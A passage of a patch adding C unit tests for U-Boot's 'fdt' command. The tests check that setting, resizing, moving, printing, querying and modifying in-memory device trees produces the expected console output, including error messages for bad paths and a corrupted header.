+ set_working_fdt_addr(addr);
+ ut_assert_nextline("Working FDT set to %lx", addr);
+ ut_assertok(run_command("fdt addr", 0));
+ ut_assert_nextline("Working fdt: %08lx", (ulong)map_to_sysmem(fdt));
+ ut_assertok(ut_check_console_end(uts));
+
+ /* Set the working FDT */
+ set_working_fdt_addr(0);
+ ut_assert_nextline("Working FDT set to 0");
+ ut_assertok(run_commandf("fdt addr %08lx", addr));
+ ut_assert_nextline("Working FDT set to %lx", addr);
+ ut_asserteq(addr, map_to_sysmem(working_fdt));
+ ut_assertok(ut_check_console_end(uts));
+ set_working_fdt_addr(0);
+ ut_assert_nextline("Working FDT set to 0");
+
+ /* Set the control FDT */
+ fdt_blob = gd->fdt_blob;
+ gd->fdt_blob = NULL;
+ ret = run_commandf("fdt addr -c %08lx", addr);
+ new_fdt = gd->fdt_blob;
+ gd->fdt_blob = fdt_blob;
+ ut_assertok(ret);
+ ut_asserteq(addr, map_to_sysmem(new_fdt));
+ ut_assertok(ut_check_console_end(uts));
+
+ /* Test setting an invalid FDT */
+ fdt[0] = 123;
+ ut_asserteq(1, run_commandf("fdt addr %08lx", addr));
+ ut_assert_nextline("libfdt fdt_check_header(): FDT_ERR_BADMAGIC");
+ ut_assertok(ut_check_console_end(uts));
+
+ /* Test detecting an invalid FDT */
+ fdt[0] = 123;
+ set_working_fdt_addr(addr);
+ ut_assert_nextline("Working FDT set to %lx", addr);
+ ut_asserteq(1, run_commandf("fdt addr"));
+ ut_assert_nextline("libfdt fdt_check_header(): FDT_ERR_BADMAGIC");
+ ut_assertok(ut_check_console_end(uts));
+
+ return 0;
+}
+FDT_TEST(fdt_test_addr, UT_TESTF_CONSOLE_REC);
+
+/* Test 'fdt addr' resizing an fdt */
+static int fdt_test_addr_resize(struct unit_test_state *uts)
+{
+ char fdt[256];
+ const int newsize = sizeof(fdt) / 2;
+ ulong addr;
+
+ ut_assertok(make_test_fdt(uts, fdt, sizeof(fdt)));
+ addr = map_to_sysmem(fdt);
+ set_working_fdt_addr(addr);
+
+ /* Test setting and resizing the working FDT to a larger size */
+ ut_assertok(console_record_reset_enable());
+ ut_assertok(run_commandf("fdt addr %08lx %x", addr, newsize));
+ ut_assert_nextline("Working FDT set to %lx", addr);
+ ut_assertok(ut_check_console_end(uts));
+
+ /* Try shrinking it */
+ ut_assertok(run_commandf("fdt addr %08lx %zx", addr, sizeof(fdt) / 4));
+ ut_assert_nextline("Working FDT set to %lx", addr);
+ ut_assert_nextline("New length %d < existing length %d, ignoring",
+ (int)sizeof(fdt) / 4, newsize);
+ ut_assertok(ut_check_console_end(uts));
+
+ /* ...quietly */
+ ut_assertok(run_commandf("fdt addr -q %08lx %zx", addr, sizeof(fdt) / 4));
+ ut_assertok(ut_check_console_end(uts));
+
+ /* We cannot easily provoke errors in fdt_open_into(), so ignore that */
+
+ return 0;
+}
+FDT_TEST(fdt_test_addr_resize, UT_TESTF_CONSOLE_REC);
+
+static int fdt_test_move(struct unit_test_state *uts)
+{
+ char fdt[256];
+ ulong addr, newaddr = 0x10000;
+ const int size = sizeof(fdt);
+ uint32_t ts;
+ void *buf;
+
+ /* Original source DT */
+ ut_assertok(make_test_fdt(uts, fdt, size));
+ ts = fdt_totalsize(fdt);
+ addr = map_to_sysmem(fdt);
+ set_working_fdt_addr(addr);
+
+ /* Moved target DT location */
+ buf = map_sysmem(newaddr, size);
+ memset(buf, 0, size);
+
+ /* Test moving the working FDT to a new location */
+ ut_assertok(console_record_reset_enable());
+ ut_assertok(run_commandf("fdt move %08lx %08lx %x", addr, newaddr, ts));
+ ut_assert_nextline("Working FDT set to %lx", newaddr);
+ ut_assertok(ut_check_console_end(uts));
+
+ /* Compare the source and destination DTs */
+ ut_assertok(console_record_reset_enable());
+ ut_assertok(run_commandf("cmp.b %08lx %08lx %x", addr, newaddr, ts));
+ ut_assert_nextline("Total of %d byte(s) were the same", ts);
+ ut_assertok(ut_check_console_end(uts));
+
+ return 0;
+}
+FDT_TEST(fdt_test_move, UT_TESTF_CONSOLE_REC);
+
+static int fdt_test_resize(struct unit_test_state *uts)
+{
+ char fdt[256];
+ const unsigned int newsize = 0x2000;
+ uint32_t ts;
+ ulong addr;
+
+ /* Original source DT */
+ ut_assertok(make_test_fdt(uts, fdt, sizeof(fdt)));
+ fdt_shrink_to_minimum(fdt, 0); /* Resize with 0 extra bytes */
+ ts = fdt_totalsize(fdt);
+ addr = map_to_sysmem(fdt);
+ set_working_fdt_addr(addr);
+
+ /* Test resizing the working FDT and verify the new space was added */
+ ut_assertok(console_record_reset_enable());
+ ut_assertok(run_commandf("fdt resize %x", newsize));
+ ut_asserteq(ts + newsize, fdt_totalsize(fdt));
+ ut_assertok(ut_check_console_end(uts));
+
+ return 0;
+}
+FDT_TEST(fdt_test_resize, UT_TESTF_CONSOLE_REC);
+
+static int fdt_test_print_list_common(struct unit_test_state *uts,
+ const char *opc, const char *node)
+{
+ /*
+ * Test printing/listing the working FDT
+ * subnode $node/subnode
+ */
+ ut_assertok(console_record_reset_enable());
+ ut_assertok(run_commandf("fdt %s %s/subnode", opc, node));
+ ut_assert_nextline("subnode {");
+ ut_assert_nextline("\t#address-cells = <0x00000000>;");
+ ut_assert_nextline("\t#size-cells = <0x00000000>;");
+ ut_assert_nextline("\tcompatible = \"u-boot,fdt-subnode-test-device\";");
+ ut_assert_nextline("};");
+ ut_assertok(ut_check_console_end(uts));
+
+ /*
+ * Test printing/listing the working FDT
+ * path / string property model
+ */
+ ut_assertok(console_record_reset_enable());
+ ut_assertok(run_commandf("fdt %s / model", opc));
+ ut_assert_nextline("model = \"U-Boot FDT test\"");
+ ut_assertok(ut_check_console_end(uts));
+
+ /*
+ * Test printing/listing the working FDT
+ * path $node string property compatible
+ */
+ ut_assertok(console_record_reset_enable());
+ ut_assertok(run_commandf("fdt %s %s compatible", opc, node));
+ ut_assert_nextline("compatible = \"u-boot,fdt-test-device1\"");
+ ut_assertok(ut_check_console_end(uts));
+
+ /*
+ * Test printing/listing the working FDT
+ * path $node stringlist property clock-names
+ */
+ ut_assertok(console_record_reset_enable());
+ ut_assertok(run_commandf("fdt %s %s clock-names", opc, node));
+ ut_assert_nextline("clock-names = \"fixed\", \"i2c\", \"spi\", \"uart2\", \"uart1\"");
+ ut_assertok(ut_check_console_end(uts));
+
+ /*
+ * Test printing/listing the working FDT
+ * path $node u32 property clock-frequency
+ */
+ ut_assertok(console_record_reset_enable());
+ ut_assertok(run_commandf("fdt %s %s clock-frequency", opc, node));
+ ut_assert_nextline("clock-frequency = <0x00fde800>");
+ ut_assertok(ut_check_console_end(uts));
+
+ /*
+ * Test printing/listing the working FDT
+ * path $node empty property u-boot,empty-property
+ */
+ ut_assertok(console_record_reset_enable());
+ ut_assertok(run_commandf("fdt %s %s u-boot,empty-property", opc, node));
+ /*
+ * This is the only 'fdt print' / 'fdt list' incantation which
+ * prefixes the property with node path. This has been in U-Boot
+ * since the beginning of the command 'fdt', keep it.
+ */
+ ut_assert_nextline("%s u-boot,empty-property", node);
+ ut_assertok(ut_check_console_end(uts));
+
+ /*
+ * Test printing/listing the working FDT
+ * path $node prop-encoded array property regs
+ */
+ ut_assertok(console_record_reset_enable());
+ ut_assertok(run_commandf("fdt %s %s regs", opc, node));
+ ut_assert_nextline("regs = <0x00001234 0x00001000>");
+ ut_assertok(ut_check_console_end(uts));
+
+ return 0;
+}
+
+static int fdt_test_print_list(struct unit_test_state *uts, bool print)
+{
+ const char *opc = print ? "print" : "list";
+ char fdt[4096];
+ ulong addr;
+ int ret;
+
+ /* Original source DT */
+ ut_assertok(make_fuller_fdt(uts, fdt, sizeof(fdt)));
+ addr = map_to_sysmem(fdt);
+ set_working_fdt_addr(addr);
+
+ /* Test printing/listing the working FDT -- node / */
+ ut_assertok(console_record_reset_enable());
+ ut_assertok(run_commandf("fdt %s", opc));
+ ut_assert_nextline("/ {");
+ ut_assert_nextline("\t#address-cells = <0x00000001>;");
+ ut_assert_nextline("\t#size-cells = <0x00000001>;");
+ ut_assert_nextline("\tcompatible = \"u-boot,fdt-test\";");
+ ut_assert_nextline("\tmodel = \"U-Boot FDT test\";");
+ ut_assert_nextline("\taliases {");
+ if (print) {
+ ut_assert_nextline("\t\tbadalias = \"/bad/alias\";");
+ ut_assert_nextline("\t\tsubnodealias = \"/test-node@1234/subnode\";");
+ ut_assert_nextline("\t\ttestnodealias = \"/test-node@1234\";");
+ }
+ ut_assert_nextline("\t};");
+ ut_assert_nextline("\ttest-node@1234 {");
+ if (print) {
+ ut_assert_nextline("\t\t#address-cells = <0x00000000>;");
+ ut_assert_nextline("\t\t#size-cells = <0x00000000>;");
+ ut_assert_nextline("\t\tcompatible = \"u-boot,fdt-test-device1\";");
+ ut_assert_nextline("\t\tclock-names = \"fixed\", \"i2c\", \"spi\", \"uart2\", \"uart1\";");
+ ut_assert_nextline("\t\tu-boot,empty-property;");
+ ut_assert_nextline("\t\tclock-frequency = <0x00fde800>;");
+ ut_assert_nextline("\t\tregs = <0x00001234 0x00001000>;");
+ ut_assert_nextline("\t\tsubnode {");
+ ut_assert_nextline("\t\t\t#address-cells = <0x00000000>;");
+ ut_assert_nextline("\t\t\t#size-cells = <0x00000000>;");
+ ut_assert_nextline("\t\t\tcompatible = \"u-boot,fdt-subnode-test-device\";");
+ ut_assert_nextline("\t\t};");
+ }
+ ut_assert_nextline("\t};");
+ ut_assert_nextline("};");
+ ut_assertok(ut_check_console_end(uts));
+
+ ret = fdt_test_print_list_common(uts, opc, "/test-node@1234");
+ if (!ret)
+ ret = fdt_test_print_list_common(uts, opc, "testnodealias");
+
+ return 0;
+}
+
+static int fdt_test_print(struct unit_test_state *uts)
+{
+ return fdt_test_print_list(uts, true);
+}
+FDT_TEST(fdt_test_print, UT_TESTF_CONSOLE_REC);
+
+static int fdt_test_list(struct unit_test_state *uts)
+{
+ return fdt_test_print_list(uts, false);
+}
+FDT_TEST(fdt_test_list, UT_TESTF_CONSOLE_REC);
+
+/* Test 'fdt get value' reading an fdt */
+static int fdt_test_get_value_string(struct unit_test_state *uts,
+ const char *node, const char *prop,
+ const char *idx, const char *strres,
+ const int intres)
+{
+ ut_assertok(console_record_reset_enable());
+ ut_assertok(run_commandf("fdt get value var %s %s %s",
+ node, prop, idx ? : ""));
+ if (strres) {
+ ut_asserteq_str(strres, env_get("var"));
+ } else {
+ ut_asserteq(intres, env_get_hex("var", 0x1234));
+ }
+ ut_assertok(ut_check_console_end(uts));
+
+ return 0;
+}
+
+static int fdt_test_get_value_common(struct unit_test_state *uts,
+ const char *node)
+{
+ /* Test getting default element of $node node clock-names property */
+ fdt_test_get_value_string(uts, node, "clock-names", NULL, "fixed", 0);
+
+ /* Test getting 0th element of $node node clock-names property */
+ fdt_test_get_value_string(uts, node, "clock-names", "0", "fixed", 0);
+
+ /* Test getting 1st element of $node node clock-names property */
+ fdt_test_get_value_string(uts, node, "clock-names", "1", "i2c", 0);
+
+ /* Test getting 2nd element of $node node clock-names property */
+ fdt_test_get_value_string(uts, node, "clock-names", "2", "spi", 0);
+
+ /*
+ * Test getting default element of $node node regs property.
+ * The result here is highly unusual, the non-index value read from
+ * integer array is a string of concatenated values from the array,
+ * but only if the array is shorter than 40 characters. Anything
+ * longer is an error. This is a special case for handling hashes.
+ */
+ fdt_test_get_value_string(uts, node, "regs", NULL, "3412000000100000", 0);
+
+ /* Test getting 0th element of $node node regs property */
+ fdt_test_get_value_string(uts, node, "regs", "0", NULL, 0x1234);
+
+ /* Test getting 1st element of $node node regs property */
+ fdt_test_get_value_string(uts, node, "regs", "1", NULL, 0x1000);
+
+ /* Test missing 10th element of $node node clock-names property */
+ ut_assertok(console_record_reset_enable());
+ ut_asserteq(1, run_commandf("fdt get value ften %s clock-names 10", node));
+ ut_assertok(ut_check_console_end(uts));
+
+ /* Test missing 10th element of $node node regs property */
+ ut_assertok(console_record_reset_enable());
+ ut_asserteq(1, run_commandf("fdt get value ften %s regs 10", node));
+ ut_assertok(ut_check_console_end(uts));
+
+ /* Test getting default element of $node node nonexistent property */
+ ut_assertok(console_record_reset_enable());
+ ut_asserteq(1, run_commandf("fdt get value fnone %s nonexistent", node));
+ ut_assert_nextline("libfdt fdt_getprop(): FDT_ERR_NOTFOUND");
+ ut_assertok(ut_check_console_end(uts));
+
+ return 0;
+}
+
+static int fdt_test_get_value(struct unit_test_state *uts)
+{
+ char fdt[4096];
+ ulong addr;
+ int ret;
+
+ ut_assertok(make_fuller_fdt(uts, fdt, sizeof(fdt)));
+ addr = map_to_sysmem(fdt);
+ set_working_fdt_addr(addr);
+
+ ret = fdt_test_get_value_common(uts, "/test-node@1234");
+ if (!ret)
+ ret = fdt_test_get_value_common(uts, "testnodealias");
+ if (ret)
+ return ret;
+
+ /* Test getting default element of /nonexistent node */
+ ut_assertok(console_record_reset_enable());
+ ut_asserteq(1, run_command("fdt get value fnode /nonexistent nonexistent", 1));
+ ut_assert_nextline("libfdt fdt_path_offset() returned FDT_ERR_NOTFOUND");
+ ut_assertok(ut_check_console_end(uts));
+
+ /* Test getting default element of bad alias */
+ ut_assertok(console_record_reset_enable());
+ ut_asserteq(1, run_command("fdt get value vbadalias badalias nonexistent", 1));
+ ut_assert_nextline("libfdt fdt_path_offset() returned FDT_ERR_NOTFOUND");
+ ut_assertok(ut_check_console_end(uts));
+
+ /* Test getting default element of nonexistent alias */
+ ut_assertok(console_record_reset_enable());
+ ut_asserteq(1, run_command("fdt get value vnoalias noalias nonexistent", 1));
+ ut_assert_nextline("libfdt fdt_path_offset() returned FDT_ERR_BADPATH");
+ ut_assertok(ut_check_console_end(uts));
+
+ return 0;
+}
+FDT_TEST(fdt_test_get_value, UT_TESTF_CONSOLE_REC);
+
+static int fdt_test_get_name(struct unit_test_state *uts)
+{
+ char fdt[4096];
+ ulong addr;
+
+ ut_assertok(make_fuller_fdt(uts, fdt, sizeof(fdt)));
+ addr = map_to_sysmem(fdt);
+ set_working_fdt_addr(addr);
+
+ /* Test getting name of node 0 in /, which is /aliases node */
+ ut_assertok(console_record_reset_enable());
+ ut_assertok(run_command("fdt get name nzero / 0", 0));
+ ut_asserteq_str("aliases", env_get("nzero"));
+ ut_assertok(ut_check_console_end(uts));
+
+ /* Test getting name of node 1 in /, which is /test-node@1234 node */
+ ut_assertok(console_record_reset_enable());
+ ut_assertok(run_command("fdt get name none / 1", 0));
+ ut_asserteq_str("test-node@1234", env_get("none"));
+ ut_assertok(ut_check_console_end(uts));
+
+ /* Test getting name of node -1 in /, which is /aliases node, same as 0 */
+ ut_assertok(console_record_reset_enable());
+ ut_assertok(run_command("fdt get name nmone / -1", 0));
+ ut_asserteq_str("aliases", env_get("nmone"));
+ ut_assertok(ut_check_console_end(uts));
+
+ /* Test getting name of node 2 in /, which does not exist */
+ ut_assertok(console_record_reset_enable());
+ ut_asserteq(1, run_command("fdt get name ntwo / 2", 1));
+ ut_assert_nextline("libfdt node not found");
+ ut_assertok(ut_check_console_end(uts));
+
+ /* Test getting name of node 0 in /test-node@1234, which is /subnode node */
+ ut_assertok(console_record_reset_enable());
+ ut_assertok(run_command("fdt get name snzero /test-node@1234 0", 0));
+ ut_asserteq_str("subnode", env_get("snzero"));
+ ut_assertok(run_command("fdt get name asnzero testnodealias 0", 0));
+ ut_asserteq_str("subnode", env_get("asnzero"));
+ ut_assertok(ut_check_console_end(uts));
+
+ /* Test getting name of node 1 in /test-node@1234, which does not exist */
+ ut_assertok(console_record_reset_enable());
+ ut_asserteq(1, run_command("fdt get name snone /test-node@1234 1", 1));
+ ut_assert_nextline("libfdt node not found");
+ ut_asserteq(1, run_command("fdt get name asnone testnodealias 1", 1));
+ ut_assert_nextline("libfdt node not found");
+ ut_assertok(ut_check_console_end(uts));
+
+ /* Test getting name of node -1 in /test-node@1234, which is /subnode node, same as 0 */
+ ut_assertok(console_record_reset_enable());
+ ut_assertok(run_command("fdt get name snmone /test-node@1234 -1", 0));
+ ut_asserteq_str("subnode", env_get("snmone"));
+ ut_assertok(run_command("fdt get name asnmone testnodealias -1", 0));
+ ut_asserteq_str("subnode", env_get("asnmone"));
+ ut_assertok(ut_check_console_end(uts));
+
+ /* Test getting name of nonexistent node */
+ ut_assertok(console_record_reset_enable());
+ ut_asserteq(1, run_command("fdt get name nonode /nonexistent 0", 1));
+ ut_assert_nextline("libfdt fdt_path_offset() returned FDT_ERR_NOTFOUND");
+ ut_assertok(ut_check_console_end(uts));
+
+ /* Test getting name of bad alias */
+ ut_assertok(console_record_reset_enable());
+ ut_asserteq(1, run_command("fdt get name vbadalias badalias 0", 1));
+ ut_assert_nextline("libfdt fdt_path_offset() returned FDT_ERR_NOTFOUND");
+ ut_assertok(ut_check_console_end(uts));
+
+ /* Test getting name of nonexistent alias */
+ ut_assertok(console_record_reset_enable());
+ ut_asserteq(1, run_command("fdt get name vnoalias noalias 0", 1));
+ ut_assert_nextline("libfdt fdt_path_offset() returned FDT_ERR_BADPATH");
+ ut_assertok(ut_check_console_end(uts));
+
+ return 0;
+}
+FDT_TEST(fdt_test_get_name, UT_TESTF_CONSOLE_REC);
+
+static int fdt_test_get_addr_common(struct unit_test_state *uts, char *fdt,
+ const char *path, const char *prop)
+{
+ unsigned int offset;
+ int path_offset;
+ void *prop_ptr;
+ int len = 0;
+
+ path_offset = fdt_path_offset(fdt, path);
+ ut_assert(path_offset >= 0);
+ prop_ptr = (void *)fdt_getprop(fdt, path_offset, prop, &len);
+ ut_assertnonnull(prop_ptr);
+ offset = (char *)prop_ptr - fdt;
+
+ ut_assertok(console_record_reset_enable());
+ ut_assertok(run_commandf("fdt get addr pstr %s %s", path, prop));
+ ut_asserteq((ulong)map_sysmem(env_get_hex("fdtaddr", 0x1234), 0),
+ (ulong)(map_sysmem(env_get_hex("pstr", 0x1234), 0) - offset));
+ ut_assertok(ut_check_console_end(uts));
+
+ return 0;
+}
+
+static int fdt_test_get_addr(struct unit_test_state *uts)
+{
+ char fdt[4096];
+ ulong addr;
+
+ ut_assertok(make_fuller_fdt(uts, fdt, sizeof(fdt)));
+ addr = map_to_sysmem(fdt);
+ set_working_fdt_addr(addr);
+
+ /* Test getting address of root node / string property "compatible" */
+ fdt_test_get_addr_common(uts, fdt, "/", "compatible");
+
+ /* Test getting address of node /test-node@1234 stringlist property "clock-names" */
+ fdt_test_get_addr_common(uts, fdt, "/test-node@1234", "clock-names");
+ fdt_test_get_addr_common(uts, fdt, "testnodealias", "clock-names");
+
+ /* Test getting address of node /test-node@1234 u32 property "clock-frequency" */
+ fdt_test_get_addr_common(uts, fdt, "/test-node@1234", "clock-frequency");
+ fdt_test_get_addr_common(uts, fdt, "testnodealias", "clock-frequency");
+
+ /* Test getting address of node /test-node@1234 empty property "u-boot,empty-property" */
+ fdt_test_get_addr_common(uts, fdt, "/test-node@1234", "u-boot,empty-property");
+ fdt_test_get_addr_common(uts, fdt, "testnodealias", "u-boot,empty-property");
+
+ /* Test getting address of node /test-node@1234 array property "regs" */
+ fdt_test_get_addr_common(uts, fdt, "/test-node@1234", "regs");
+ fdt_test_get_addr_common(uts, fdt, "testnodealias", "regs");
+
+ /* Test getting address of node /test-node@1234/subnode non-existent property "noprop" */
+ ut_assertok(console_record_reset_enable());
+ ut_asserteq(1, run_command("fdt get addr pnoprop /test-node@1234/subnode noprop", 1));
+ ut_assert_nextline("libfdt fdt_getprop(): FDT_ERR_NOTFOUND");
+ ut_assertok(ut_check_console_end(uts));
+
+ /* Test getting address of non-existent node /test-node@1234/nonode@1 property "noprop" */
+ ut_assertok(console_record_reset_enable());
+ ut_asserteq(1, run_command("fdt get addr pnonode /test-node@1234/nonode@1 noprop", 1));
+ ut_assert_nextline("libfdt fdt_path_offset() returned FDT_ERR_NOTFOUND");
+ ut_assertok(ut_check_console_end(uts));
+
+ return 0;
+}
+FDT_TEST(fdt_test_get_addr, UT_TESTF_CONSOLE_REC);
+
+static int fdt_test_get_size_common(struct unit_test_state *uts,
+ const char *path, const char *prop,
+ const unsigned int val)
+{
+ ut_assertok(console_record_reset_enable());
+ if (prop) {
+ ut_assertok(run_commandf("fdt get size sstr %s %s", path, prop));
+ } else {
+ ut_assertok(run_commandf("fdt get size sstr %s", path));
+ }
+ ut_asserteq(val, env_get_hex("sstr", 0x1234));
+ ut_assertok(ut_check_console_end(uts));
+
+ return 0;
+}
+
+static int fdt_test_get_size(struct unit_test_state *uts)
+{
+ char fdt[4096];
+ ulong addr;
+
+ ut_assertok(make_fuller_fdt(uts, fdt, sizeof(fdt)));
+ addr = map_to_sysmem(fdt);
+ set_working_fdt_addr(addr);
+
+ /* Test getting size of root node / string property "compatible" */
+ fdt_test_get_size_common(uts, "/", "compatible", 16);
+
+ /* Test getting size of node /test-node@1234 stringlist property "clock-names" */
+ fdt_test_get_size_common(uts, "/test-node@1234", "clock-names", 26);
+ fdt_test_get_size_common(uts, "testnodealias", "clock-names", 26);
+
+ /* Test getting size of node /test-node@1234 u32 property "clock-frequency" */
+ fdt_test_get_size_common(uts, "/test-node@1234", "clock-frequency", 4);
+ fdt_test_get_size_common(uts, "testnodealias", "clock-frequency", 4);
+
+ /* Test getting size of node /test-node@1234 empty property "u-boot,empty-property" */
+ fdt_test_get_size_common(uts, "/test-node@1234", "u-boot,empty-property", 0);
+ fdt_test_get_size_common(uts, "testnodealias", "u-boot,empty-property", 0);
+
+ /* Test getting size of node /test-node@1234 array property "regs" */
+ fdt_test_get_size_common(uts, "/test-node@1234", "regs", 8);
+ fdt_test_get_size_common(uts, "testnodealias", "regs", 8);
+
+ /* Test getting node count of node / */
+ fdt_test_get_size_common(uts, "/", NULL, 2);
+
+ /* Test getting node count of node /test-node@1234/subnode */
+ fdt_test_get_size_common(uts, "/test-node@1234/subnode", NULL, 0);
+ fdt_test_get_size_common(uts, "subnodealias", NULL, 0);
+
+ /* Test getting size of node /test-node@1234/subnode non-existent property "noprop" */
+ ut_assertok(console_record_reset_enable());
+ ut_asserteq(1, run_command("fdt get size pnoprop /test-node@1234/subnode noprop", 1));
+ ut_assert_nextline("libfdt fdt_getprop(): FDT_ERR_NOTFOUND");
+ ut_asserteq(1, run_command("fdt get size pnoprop subnodealias noprop", 1));
+ ut_assert_nextline("libfdt fdt_getprop(): FDT_ERR_NOTFOUND");
+ ut_assertok(ut_check_console_end(uts));
+
+ /* Test getting size of non-existent node /test-node@1234/nonode@1 property "noprop" */
+ ut_assertok(console_record_reset_enable());
+ ut_asserteq(1, run_command("fdt get size pnonode /test-node@1234/nonode@1 noprop", 1));
+ ut_assert_nextline("libfdt fdt_path_offset() returned FDT_ERR_NOTFOUND");
+ ut_assertok(ut_check_console_end(uts));
+
+ /* Test getting node count of non-existent node /test-node@1234/nonode@1 */
+ ut_assertok(console_record_reset_enable());
+ ut_asserteq(1, run_command("fdt get size pnonode /test-node@1234/nonode@1", 1));
+ ut_assert_nextline("libfdt fdt_path_offset() returned FDT_ERR_NOTFOUND");
+ ut_assertok(ut_check_console_end(uts));
+
+ /* Test getting node count of bad alias badalias */
+ ut_assertok(console_record_reset_enable());
+ ut_asserteq(1, run_command("fdt get size pnonode badalias noprop", 1));
+ ut_assert_nextline("libfdt fdt_path_offset() returned FDT_ERR_NOTFOUND");
+ ut_assertok(ut_check_console_end(uts));
+
+ /* Test getting node count of non-existent alias noalias */
+ ut_assertok(console_record_reset_enable());
+ ut_asserteq(1, run_command("fdt get size pnonode noalias", 1));
+ ut_assert_nextline("libfdt fdt_path_offset() returned FDT_ERR_BADPATH");
+ ut_assertok(ut_check_console_end(uts));
+
+ return 0;
+}
+FDT_TEST(fdt_test_get_size, UT_TESTF_CONSOLE_REC);
+
+static int fdt_test_set_single(struct unit_test_state *uts,
+ const char *path, const char *prop,
+ const char *sval, int ival, bool integer)
+{
+ /*
+ * Set single element string/integer/<empty> property into DT, that is:
+ * => fdt set /path property string
+ * => fdt set /path property integer
+ * => fdt set /path property
+ */
+ ut_assertok(console_record_reset_enable());
+ if (sval)
+ ut_assertok(run_commandf("fdt set %s %s %s", path, prop, sval));
+ else if (integer)
+ ut_assertok(run_commandf("fdt set %s %s <%d>", path, prop, ival));
+ else
+ ut_assertok(run_commandf("fdt set %s %s", path, prop));
+
+ /* Validate the property is present and has correct value. */
+ ut_assertok(run_commandf("fdt get value svar %s %s", path, prop));
+ if (sval)
+ ut_asserteq_str(sval, env_get("svar"));
+ else if (integer)
+ ut_asserteq(ival, env_get_hex("svar", 0x1234));
+ else
+ ut_assertnull(env_get("svar"));
+ ut_assertok(ut_check_console_end(uts));
+
+ return 0;
+}
+
+static int fdt_test_set_multi(struct unit_test_state *uts,
+ const char *path, const char *prop,
+ const char *sval1, const char *sval2,
+ int ival1, int ival2)
+{
+ /*
+ * Set multi element string/integer array property in DT, that is:
+ * => fdt set /path property <string1 string2>
+ * => fdt set /path property <integer1 integer2>
+ *
+ * The set is done twice in here deliberately, The first set adds
+ * the property with an extra trailing element in its array to make
+ * the array longer, the second set is the expected final content of
+ * the array property. The longer array is used to verify that the
+ * new array is correctly sized and read past the new array length
+ * triggers failure.
+ */
+ ut_assertok(console_record_reset_enable());
+ if (sval1 && sval2) {
+ ut_assertok(run_commandf("fdt set %s %s %s %s end", path, prop, sval1, sval2));
+ ut_assertok(run_commandf("fdt set %s %s %s %s", path, prop, sval1, sval2));
+ } else {
+ ut_assertok(run_commandf("fdt set %s %s <%d %d 10>", path, prop, ival1, ival2));
+ ut_assertok(run_commandf("fdt set %s %s <%d %d>", path, prop, ival1, ival2));
+ }
+
+ /*
+ * Validate the property is present and has correct value.
+ *
+ * The "end/10" above and "svarn" below is used to validate that
+ * previous 'fdt set' to longer array does not polute newly set
+ * shorter array.
+ */
+ ut_assertok(run_commandf("fdt get value svar1 %s %s 0", path, prop));
+ ut_assertok(run_commandf("fdt get value svar2 %s %s 1", path, prop));
+ ut_asserteq(1, run_commandf("fdt get value svarn %s %s 2", path, prop));
+ if (sval1 && sval2) {
+ ut_asserteq_str(sval1, env_get("svar1"));
+ ut_asserteq_str(sval2, env_get("svar2"));
+ ut_assertnull(env_get("svarn"));
+ } else {
+ ut_asserteq(ival1, env_get_hex("svar1", 0x1234));
+ ut_asserteq(ival2, env_get_hex("svar2", 0x1234));
+ ut_assertnull(env_get("svarn"));
+ }
+ ut_assertok(ut_check_console_end(uts));
+
+ return 0;
+}
+
+static int fdt_test_set_node(struct unit_test_state *uts,
+ const char *path, const char *prop)
+{
+ fdt_test_set_single(uts, path, prop, "new", 0, false);
+ fdt_test_set_single(uts, path, prop, "rewrite", 0, false);
+ fdt_test_set_single(uts, path, prop, NULL, 42, true);
+ fdt_test_set_single(uts, path, prop, NULL, 0, false);
+ fdt_test_set_multi(uts, path, prop, NULL, NULL, 42, 1701);
+ fdt_test_set_multi(uts, path, prop, NULL, NULL, 74656, 9);
+ fdt_test_set_multi(uts, path, prop, "42", "1701", 0, 0);
+ fdt_test_set_multi(uts, path, prop, "74656", "9", 0, 0);
+
+ return 0;
+}
+
+static int fdt_test_set(struct unit_test_state *uts)
+{
+ char fdt[8192];
+ ulong addr;
+
+ ut_assertok(make_fuller_fdt(uts, fdt, sizeof(fdt)));
+ fdt_shrink_to_minimum(fdt, 4096); /* Resize with 4096 extra bytes */
+ addr = map_to_sysmem(fdt);
+ set_working_fdt_addr(addr);
+
+ /* Test setting of root node / existing property "compatible" */
+ fdt_test_set_node(uts, "/", "compatible");
+
+ /* Test setting of root node / new property "newproperty" */
+ fdt_test_set_node(uts, "/", "newproperty");
+
+ /* Test setting of subnode existing property "compatible" */
+ fdt_test_set_node(uts, "/test-node@1234/subnode", "compatible");
+ fdt_test_set_node(uts, "subnodealias", "compatible");
+
+ /* Test setting of subnode new property "newproperty" */
+ fdt_test_set_node(uts, "/test-node@1234/subnode", "newproperty");
+ fdt_test_set_node(uts, "subnodealias", "newproperty");
+
+ /* Test setting property of non-existent node */
+ ut_assertok(console_record_reset_enable());
+ ut_asserteq(1, run_command("fdt set /no-node noprop", 1));
+ ut_assert_nextline("libfdt fdt_path_offset() returned FDT_ERR_NOTFOUND");
+ ut_assertok(ut_check_console_end(uts));
+
+ /* Test setting property of non-existent alias */
+ ut_assertok(console_record_reset_enable());
+ ut_asserteq(1, run_command("fdt set noalias noprop", 1));
+ ut_assert_nextline("libfdt fdt_path_offset() returned FDT_ERR_BADPATH");
+ ut_assertok(ut_check_console_end(uts));
+
+ /* Test setting property of bad alias */
+ ut_assertok(console_record_reset_enable());
+ ut_asserteq(1, run_command("fdt set badalias noprop", 1));
+ ut_assert_nextline("libfdt fdt_path_offset() returned FDT_ERR_NOTFOUND");
+ ut_assertok(ut_check_console_end(uts));
+
+ return 0;
+}
+FDT_TEST(fdt_test_set, UT_TESTF_CONSOLE_REC);
+
+static int fdt_test_mknode(struct unit_test_state *uts)
+{
+ char fdt[8192];
+ ulong addr;
+
+ ut_assertok(make_fuller_fdt(uts, fdt, sizeof(fdt)));
+ fdt_shrink_to_minimum(fdt, 4096); /* Resize with 4096 extra bytes */
+ addr = map_to_sysmem(fdt);
+ set_working_fdt_addr(addr);
+
+ /* Test creation of new node in / */
+ ut_assertok(console_record_reset_enable());
+ ut_assertok(run_commandf("fdt mknode / newnode"));
+ ut_assertok(run_commandf("fdt list /newnode"));
+ ut_assert_nextline("newnode {");
+ ut_assert_nextline("};");
+ ut_assertok(ut_check_console_end(uts));
+
+ /* Test creation of new node in /test-node@1234 */
+ ut_assertok(console_record_reset_enable());
+ ut_assertok(run_commandf("fdt mknode /test-node@1234 newsubnode"));
+ ut_assertok(run_commandf("fdt list /test-node@1234/newsubnode"));
+ ut_assert_nextline("newsubnode {");
+ ut_assert_nextline("};");
+ ut_assertok(ut_check_console_end(uts));
+
+ /* Test creation of new node in /test-node@1234 by alias */
